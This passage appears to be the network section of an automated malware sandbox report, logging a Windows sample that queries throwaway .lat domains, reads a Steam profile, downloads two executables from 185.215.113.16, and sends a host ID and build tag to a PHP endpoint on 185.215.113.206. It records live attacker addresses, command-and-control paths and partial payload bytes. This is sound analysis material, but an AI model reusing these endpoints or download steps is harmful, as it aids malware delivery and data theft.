Dec 23, 2024 08:44:49.129316092 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.129318953 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.129340887 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.129368067 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.129901886 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.129966021 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.129973888 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.130004883 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.130153894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.130171061 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.130183935 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.130192041 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.130212069 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.130835056 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.130922079 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.130935907 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.130965948 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.131042004 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.131084919 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.131093025 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.131104946 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.131145000 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.131798983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.131865978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.131880045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.131906033 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.132025003 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.132061005 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.132093906 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.132101059 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.132132053 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.132713079 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.132787943 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.132802010 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.132829905 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.132982969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.132997990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.133013010 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.133021116 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.133047104 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.133184910 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.133663893 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.177531004 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.240705967 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.240773916 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.240786076 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.240833044 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.240837097 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.240847111 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.240873098 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.241015911 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241030931 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241043091 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241058111 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.241075993 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.241698027 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241755962 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241769075 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241796017 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.241952896 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241965055 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241977930 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.241988897 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.242016077 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.242548943 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.242619991 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.242660046 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.242722034 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.242736101 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.242770910 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.242841005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.242889881 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.242902040 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.242927074 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.243561029 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.243601084 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.243623972 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.243638992 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.243674994 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.243777990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.243875027 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.243885994 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.243911982 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.244504929 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.244549036 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.244575977 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.287029982 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.295083046 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295150042 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295162916 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295207024 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.295288086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295300007 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295322895 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295327902 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.295339108 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295361996 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:49.295505047 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:49.295538902 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:50.211940050 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:54.274900913 CET	49791	80	192.168.2.7	185.215.113.206
Dec 23, 2024 08:44:54.396013975 CET	80	49791	185.215.113.206	192.168.2.7
Dec 23, 2024 08:44:54.396588087 CET	49791	80	192.168.2.7	185.215.113.206
Dec 23, 2024 08:44:54.398072958 CET	49791	80	192.168.2.7	185.215.113.206
Dec 23, 2024 08:44:54.517564058 CET	80	49791	185.215.113.206	192.168.2.7
Dec 23, 2024 08:44:55.737996101 CET	80	49791	185.215.113.206	192.168.2.7
Dec 23, 2024 08:44:55.738687038 CET	49791	80	192.168.2.7	185.215.113.206
Dec 23, 2024 08:44:55.741548061 CET	49791	80	192.168.2.7	185.215.113.206
Dec 23, 2024 08:44:55.860939980 CET	80	49791	185.215.113.206	192.168.2.7
Dec 23, 2024 08:44:56.194577932 CET	80	49791	185.215.113.206	192.168.2.7
Dec 23, 2024 08:44:56.194880962 CET	49791	80	192.168.2.7	185.215.113.206
Dec 23, 2024 08:45:00.708559990 CET	49791	80	192.168.2.7	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:44:14.093753099 CET	58819	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:14.232067108 CET	53	58819	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:14.236829996 CET	63050	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:14.373475075 CET	53	63050	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:14.377230883 CET	50486	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:14.516938925 CET	53	50486	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:14.520438910 CET	62729	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:14.657923937 CET	53	62729	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:14.661657095 CET	60809	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:14.800231934 CET	53	60809	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:14.803530931 CET	59111	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:14.941345930 CET	53	59111	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:14.944775105 CET	49555	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:15.082375050 CET	53	49555	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:15.093616962 CET	56496	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:15.231074095 CET	53	56496	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:15.233746052 CET	60794	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:15.371836901 CET	53	60794	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:15.423168898 CET	54507	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:15.561081886 CET	53	54507	1.1.1.1	192.168.2.7
Dec 23, 2024 08:44:18.069941998 CET	57862	53	192.168.2.7	1.1.1.1
Dec 23, 2024 08:44:18.229414940 CET	53	57862	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:44:14.093753099 CET	192.168.2.7	1.1.1.1	0x5697	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.236829996 CET	192.168.2.7	1.1.1.1	0xbad	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.377230883 CET	192.168.2.7	1.1.1.1	0xa793	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.520438910 CET	192.168.2.7	1.1.1.1	0x5ee4	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.661657095 CET	192.168.2.7	1.1.1.1	0x88db	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.803530931 CET	192.168.2.7	1.1.1.1	0xfb70	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.944775105 CET	192.168.2.7	1.1.1.1	0x3bd9	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:15.093616962 CET	192.168.2.7	1.1.1.1	0xeb1b	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:15.233746052 CET	192.168.2.7	1.1.1.1	0xecbf	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:15.423168898 CET	192.168.2.7	1.1.1.1	0x861c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:18.069941998 CET	192.168.2.7	1.1.1.1	0x5e1d	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:44:14.232067108 CET	1.1.1.1	192.168.2.7	0x5697	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.373475075 CET	1.1.1.1	192.168.2.7	0xbad	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.516938925 CET	1.1.1.1	192.168.2.7	0xa793	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.657923937 CET	1.1.1.1	192.168.2.7	0x5ee4	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.800231934 CET	1.1.1.1	192.168.2.7	0x88db	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:14.941345930 CET	1.1.1.1	192.168.2.7	0xfb70	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:15.082375050 CET	1.1.1.1	192.168.2.7	0x3bd9	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:15.231074095 CET	1.1.1.1	192.168.2.7	0xeb1b	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:15.371836901 CET	1.1.1.1	192.168.2.7	0xecbf	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:15.561081886 CET	1.1.1.1	192.168.2.7	0x861c	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:18.229414940 CET	1.1.1.1	192.168.2.7	0x5e1d	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:44:18.229414940 CET	1.1.1.1	192.168.2.7	0x5e1d	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49755	185.215.113.16	80	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:44:38.166062117 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:44:39.501705885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:44:38 GMT Content-Type: application/octet-stream Content-Length: 2765312 Last-Modified: Mon, 23 Dec 2024 07:19:04 GMT Connection: keep-alive ETag: "67690ee8-2a3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui`D @ @ @.rsrcD``@.idata f@brdofphe))h@pzoalvov `@.taggant@"@
Dec 23, 2024 08:44:39.501720905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:44:39.501735926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:44:39.501763105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:44:39.501770020 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:44:39.501785040 CET	620	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:44:39.502016068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:44:39.502029896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:44:39.502043009 CET	1236	IN	Data Raw: 66 03 57 56 66 93 34 b7 b3 94 2e b5 d8 f9 30 45 d6 05 78 46 66 03 57 56 66 93 34 b7 b3 94 2e b5 d8 2d 31 45 d6 05 78 46 66 03 57 56 66 93 34 b7 38 95 2e b5 d8 fc 31 45 d6 05 78 46 66 03 57 56 66 93 34 b7 f9 96 2e b5 8e a3 2e 45 6c 05 d4 48 66 03 Data Ascii: fWVf4.0ExFfWVf4.-1ExFfWVf48.1ExFfWVf4..ElHfWUf4%..ElHf\|j..ElHfj+..ElHfj..ElHfj..ElHfk..ElJfk..ElJfk/..ElJf
Dec 23, 2024 08:44:39.502049923 CET	1236	IN	Data Raw: 67 ba 2f 46 66 73 34 52 67 94 2e 62 6c a0 2f 46 66 e2 32 52 67 94 2e 1f 6b a0 2f 46 66 7b 33 52 67 94 2e 2c 71 a0 2f 46 66 71 39 52 67 e3 4e 45 66 93 2e cb 7e 3a 38 4b 66 94 2e 9d 86 93 2e 45 66 19 47 ec 6f 94 2e 46 66 93 2e 45 66 13 2f d6 86 94 Data Ascii: g/Ffs4Rg.bl/Ff2Rg.k/Ff{3Rg.,q/Ffq9RgNEf.~:8Kf..EfGo.Ff.Ef/7pg.Ef.f$O\k/Jf.Ef/"8xg.Ef.f$Ok/Lf.Ef/7g.Ef.f$Oj/Qf.Ef/`3g.Ef.f$Oj/Xf.Ef/6g..Ef$/l0hfOEf.fC3g.%.Ef$/)o0hfO
Dec 23, 2024 08:44:39.621576071 CET	1236	IN	Data Raw: 6f 94 2e 4b 67 9c 2e 5c 6b 95 2e 45 67 9e 2e d4 6f 94 2e 45 67 a0 2e cd 6b 94 2e 4a 67 a2 2e 54 6a 94 2e 47 67 a4 2e 68 66 94 2e 45 67 a6 2e 12 6b 96 2e 45 67 a8 2e da 6a 94 2e 45 67 aa 2e 6a 6e 94 2e 49 e6 93 2e 46 66 93 2e 45 66 93 2e 45 66 93 Data Ascii: o.Kg.\k.Eg.o.Eg.k.Jg.Tj.Gg.hf.Eg.k.Eg.j.Eg.jn.I.Ff.Ef.Ef.Ef6Ef.Ef.Ef.Ef/wj.Ef.Ef.Ef.Ef/3o.Ef.If.If.If.If.If.If.If.Ef..lEf}rEowofs
Dec 23, 2024 08:44:44.311081886 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:44:44.753552914 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:44:43 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 23 Dec 2024 07:21:00 GMT Connection: keep-alive ETag: "67690f5c-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(pN@NL+@M$a$$ $h@.rsrc$x@.idata $z@ynqricro)$)\|@wjlvyldl`N+@.taggant0pN""+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49791	185.215.113.206	80	4132	C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:44:54.398072958 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 08:44:55.737996101 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 08:44:55.741548061 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 45 46 38 36 42 36 33 36 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="hwid"91EF86B63681107340409------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="build"stok------GDBKKFHIEGDHJKECAAKK--
Dec 23, 2024 08:44:56.194577932 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	104.102.49.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:17 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 07:44:17 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ 